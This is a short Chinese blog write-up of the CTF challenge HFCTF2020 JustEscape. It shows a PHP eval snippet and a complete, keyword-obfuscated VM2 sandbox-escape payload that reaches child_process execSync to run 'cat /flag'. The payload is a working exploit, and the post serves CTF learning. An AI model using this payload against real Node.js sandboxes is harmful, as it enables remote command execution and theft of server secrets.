[HFCTF2020]JustEscape 记录

最新推荐文章于 2025-05-29 11:13:45 发布

！Tana

最新推荐文章于 2025-05-29 11:13:45 发布

阅读量167

点赞数

分类专栏： WEB 文章标签： web安全

本文链接：https://blog.youkuaiyun.com/m0_63045593/article/details/124300793

版权

WEB 专栏收录该内容

19 篇文章

订阅专栏

这篇博客探讨了一个PHP代码注入的实例，其中包含了条件判断和`eval`函数的使用。同时，文章还展示了利用JavaScript混淆技巧进行的沙盒逃逸尝试，包括修改对象原型、利用`Buffer.from`和`execSync`执行命令行操作来获取敏感信息。这揭示了Web应用程序中常见的安全风险及其防范措施。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

输入Error().stack猜测是不是js

在这里插入图片描述

是VM2沙盒逃逸用payload直接打

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()